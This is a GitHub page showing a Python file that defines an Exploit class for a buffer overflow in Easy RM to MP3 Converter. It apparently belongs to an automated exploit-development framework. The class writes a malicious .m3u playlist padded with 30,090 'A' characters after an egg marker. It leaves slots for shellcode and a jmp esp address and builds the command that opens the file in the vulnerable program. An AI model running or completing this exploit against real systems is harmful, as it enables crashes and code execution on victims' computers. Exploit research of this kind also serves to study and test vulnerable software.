-
Notifications
You must be signed in to change notification settings - Fork 54
/
Copy pathclass-easyrm.py
86 lines (69 loc) · 1.65 KB
/
class-easyrm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import socket, sys, struct, subprocess, os
from threading import Thread
from functools import wraps
from time import sleep
def run_async(func):
"""
function decorator, intended to make "func" run in a separate thread (asynchronously).
@return: the created Thread object
E.g.:
@run_async
def task1():
do_something
@run_async
def task2():
do_something_too
t1 = task1()
t2 = task2()
...
t1.join()
t2.join()
"""
@wraps(func)
def async_func(*args, **kwargs):
func_hl = Thread(target = func, args = args, kwargs = kwargs)
func_hl.start()
return func_hl
return async_func
class Exploit():
"""
class that contains the exploit, and that can be used to build it
"""
def __init__(self):
self.egg = 'EGGG'
self.shellcode = ''
self.jmpesp = ''
self.prebuff = ''
self.postbuff = ''
self.buffer = [self.egg*2, "A"*30090]
self.file_based = True
self.filename = 'c:\\autoexploit\\list.m3u'
self.command = 'C:\\Program Files (x86)\\Easy RM to MP3 Converter\\RM2MP3Converter.exe /cf'
@run_async
def exploit(self):
"""
This function runs the actual exploit
"""
f = open(self.filename,'w')
f.write(''.join(self.buffer))
f.close()
def get_buffer(self):
return self.buffer
def set_buffer(self,buff):
self.buffer = buff
def get_buffer_length(self):
return len(''.join(self.buffer))
def get_egg(self):
return self.egg
def set_egg(self,egg):
self.egg = egg
def get_filename(self):
return self.filename
def set_filename(self,filename):
self.filename = filename
def is_filebased(self):
return self.file_based
def get_command(self):
return self.command + ' ' + self.filename
def save(self):
pass